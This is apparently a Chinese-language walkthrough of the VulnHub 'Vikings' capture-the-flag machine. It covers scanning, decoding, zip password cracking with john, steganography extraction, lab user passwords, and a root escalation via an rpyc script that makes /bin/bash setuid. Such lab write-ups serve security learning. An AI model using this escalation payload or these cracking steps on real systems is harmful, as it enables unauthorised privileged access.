[VulnHub] Vikings

一、靶机介绍

名称:Vikings

发布日期:4 Sep 2021

Download (Mirror): https://download.vulnhub.com/vikings/Vikings.ova

二、环境搭建

导入虚拟机后,

kali添加新网卡

kali使用双网卡,如果kali获取不到IP,那么请在宿主机上进行配置

同时选中俩个网卡,进行桥接

主机发现

sudo apr-scan -l -I eth1

三、渗透测试

1、信息收集

端口扫描

sudo nmap -p- 192.168.56.112
sudo nmap -p22,80 -sV -sC 192.168.56.112

目录扫描

dirsearch -u "http://192.168.56.112/"
dirsearch -u "http://192.168.56.112/" -f -e html.php,txt -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u "http://192.168.56.112/site/" -f -e html.php,txt -w /usr/share/seclists/Discovery/Web-Content/common.txt

http://192.168.56.112/site/war.txt

http://192.168.56.112/site/war-is-over/

2、加密解密

借助于CyberChef(https://cyberchef.org/)解码

使用entropy

使用detect file type验证猜想

保存为zip文件进行解压缩

解压的时候发现需要密码支持

3、zip文件解密

准备字典

cp /usr/share/wordlists/rockyou.txt.gz .
gunzip rockyou.txt.gz
zip2john 123.zip > hash
john hash --wordlist=rockyou.txt

解压之后得到一张图片

4、图片隐写术

使用steghide获取隐藏信息,但是获取失败,需要密码

思路一:爆破

for i in $(cat "rockyou.txt"); do steghide extract king -p $i; done

卡死了。。。

思路二:binwalk

binwalk -b king
binwalk -e king

可以发现里面有一个zip格式的压缩文件,压缩文件里有个user

得到floki的密码

floki
f@m0usboatbuilde7

5、提权ragnar

for i in range(1,1000):
    num = 0
    for j in range(1,i):
        if i % j == 0:
            num+=1
    if num == 1:
        print(i)

得到第29个素数是109

i = 109
c = [i]
while i != 1:
    if i % 2 == 1:
        i = i*3+1
    else:
        i = i//2
    if i < 256:
        c.append(i)
print(c)
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

得到 ragnar的密码

mR)|>^/Gky[gz=\.F#j5P(

尝试登陆之后,发现又让我们输入一次密码

6、提权root

发现这个脚本是登陆之后自动执行的脚本文件

查看那个文件的权限,不能修改,能修改的话可以反弹shell直接就是root

那么就只能利用rpc进行操作了。。。

https://rpyc.readthedocs.io/en/latest

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('chmod +s /bin/bash')
fn = conn.teleport(getshell)
fn()